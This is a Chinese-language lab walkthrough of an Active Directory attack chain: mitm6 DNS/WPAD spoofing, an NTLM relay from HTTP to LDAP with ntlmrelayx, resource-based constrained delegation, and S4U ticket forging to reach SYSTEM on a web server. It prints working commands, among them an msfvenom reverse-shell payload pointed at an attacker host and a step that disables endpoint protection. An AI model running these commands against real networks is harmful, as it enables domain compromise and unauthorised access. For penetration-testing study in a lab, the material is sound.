域渗透
1、概念和原理
1.1中继委派
中继: 钓鱼欺骗
委派: 以机器用户的身份去访问某台设备(在dc上进行),叫做委派访问,若配置不当,则可能让用户以任意机器任意身份去访问sql server
而我们这是进行窃取机器用户的身份,来窃取域中的一个访问权限
① ④ HTTP WPAD (NTLM认证) ⑤ 中继 NTLM 到 LDAP
WebServer ────────────────► Kali ───────────────────────► DC
▲ ② DHCPv6 Solicit (ntlmrelayx) ⑥ 写入 msDS-AllowedToActOnBehalfOfOtherIdentity
│ ③ 伪造 DNS: wpad → Kali mitm6
└──────────── ⑦ WebServer 信任 DESKTOP-BINE7L8$ 可代表任意用户委派
⑧ getST(S4U2Self + S4U2Proxy) → administrator 的 cifs/WIN-VMCDN5AMRDJ 票据
⑨ psexec -k 凭票据登录 WebServer → SYSTEM
为什么用 HTTP 而不是 SMB 中继:Server 2016+ 默认启用 SMB 签名,SMB→LDAP 的 NTLM Relay 会被 MIC 校验阻断。mitm6 把目标诱导到 HTTP(WPAD 代理配置下载),HTTP 层没有 SMB 签名,NTLM blob 可以干净地中继到 DC 的 LDAP。
RBCD(基于资源的约束委派):把目标 WebServer 机器账户的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性写成受控的 Win10 机器账户(DESKTOP-BINE7L8$)。之后用该机器账户 hash 走 S4U2Self(以任意用户名义向 KDC 要一张到 WebServer 的票据)+ S4U2Proxy(形状转换),就能伪造 administrator 访问 WebServer,无需任何密码。机器账户修改自身对象属性属于 SELF 权限,天然合法。
2、实验过程
2.1 实验所需的工具和设备
- 实验工具: mitm6 , ntlmrelayx.py(可以自动接收数据包之后并进行修改,十分智能)
-
实验设备: web server , kali , DC , win10
2.2实验大致流程
1.搭建隧道
同样,先在msf的模块生成对应的木马,然后在win10关闭防火墙的实时保护
木马指令
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.139.129 LPORT=9191 -f psh-reflection -o /tmp/payload12345.exe
生成后拖到win10即可
注:如果托不过去,cd到木马文件所在的目录,输入以下指令即可
chmod 777 payload12345.exe
然后成功开启监听即可
2.开始钓鱼:广播发送dns欺骗包
sudo mitm6 -d saionjisekai.org -i eth1 2>&1 | tee /tmp/mitm6.log
-d:伪造的域后缀-i:进行欺骗的网卡
生效条件:目标机器必须发送 DHCPv6 Solicit 包(重启机器 / 重启网卡 / DHCP 租约续期时触发)。这也是为什么后面要重启 WebServer。
然后就开始投毒了
3.等待web server给我们发送的认证包
但要注意以下几点:
- 要把kali的80端口服务终止掉
-
将apache终止掉
-
将域渗透的工具包放在kali里面,并设置环境变量,因为kali中有两个版本的impacket,如果没有指定,则默认pip下载的impacket
4.搭建隧道
不多赘述
5.启动中继
# 终端 A:mitm6(阶段三已启动,root 终端)
# 终端 B:ntlmrelayx(root 终端,直接跑、不要 sudo)
export PYTHONPATH=/home/kali/Desktop/impacket-0.13.0
cd /home/kali/Desktop/impacket-0.13.0
proxychains4 -q python3 ./examples/ntlmrelayx.py -6 -t ldap://192.168.41.131 --delegate-access --escalate-user 'DESKTOP-BINE7L8$' -smb2support --http-port 80 -wh wpad.saionjisekai.org 2>&1 | tee /root/http_relay.log
确认 banner 是
Impacket v0.13.0而不是v0.14.0.dev0,否则就是版本混装(见 6.1 版本坑条)。
参数说明:
| 参数 | 含义 |
|---|---|
-6 |
监听 IPv6(配合 mitm6) |
-t ldap://192.168.41.131 |
中继目标:DC 的 LDAP |
--delegate-access |
拿到认证后执行委派攻击(配置 RBCD) |
--escalate-user 'DESKTOP-BINE7L8$' |
指定已存在的机器账户做委派源(绕开 TLS 建账户) |
-smb2support |
支持 SMB2 客户端(注意会占用 445) |
--http-port 80 |
WPAD 假代理服务器监听 80 |
-wh wpad.saionjisekai.org |
WPAD 主机名 |
注意:中继全程经默认 proxychains 配置(
socks5 127.0.0.1 1080)走 1080 隧道(WebServer 自身 frpc 注册的 SOCKS5),LDAP 报文从 WebServer 出去到达 DC。
6.触发认证,确认委派写入
- 重启 WebServer(或重启其网卡)——触发 DHCPv6 Solicit + WPAD 查询。
- 观察两个终端日志:
# mitm6 日志(终端 A)出现欺骗应答:
Sent spoofed answer to xxxx:...
# relay 日志(终端 B)出现 WebServer 机器账户认证并被中继:
HTTPD: Received connection from ...
Authenticating against ldap://192.168.41.131 as WIN-VMCDN5AMRDJ\$ ...
Delegation rights modified succesfully!
- 验证 RBCD 配置生效:
msDS-AllowedToActOnBehalfOfOtherIdentity已写入DESKTOP-BINE7L8$的 SID,即 Win10 机器账户可以代表任意用户向 WebServer 委派。
注意:日志中还会看到
DESKTOP-BINE7L8$(Win10 自身)的 HTTP 认证被中继,属正常现象(无效操作被忽略)。要等到WIN-VMCDN5AMRDJ$(WebServer 机器账户)的认证出现才算成功。
若重启后长时间无认证:再重启网卡或让 WebServer 访问任意网站,触发 WPAD 查询。
> 抢跑坑(必修):单 -t 目标只有一次被写委派的机会。如果 WS 上有人开着浏览器,用户态浏览器的 SVC_WEB 认证会先中继成功、把唯一目标”耗尽”,之后的机器账户请求只会得到 no more targets left,那一次重启就白费了(日志里 All targets processed! 越多越说明被抢跑)。正确顺序:先关掉 WS 上所有浏览器 → 再重启 relay(清空目标)→ 再重启 WS,让开机阶段 SYSTEM 服务的机器账户认证第一个进来。
7.导出用户的hash值,并通过getST 申请服务票据
8.通过票据进行远程登录
同样,这两步和之前的操作方法相同,不过多进行赘述
WebServer 已被完全控制,权限为 SYSTEM。攻击链闭环验证成功。
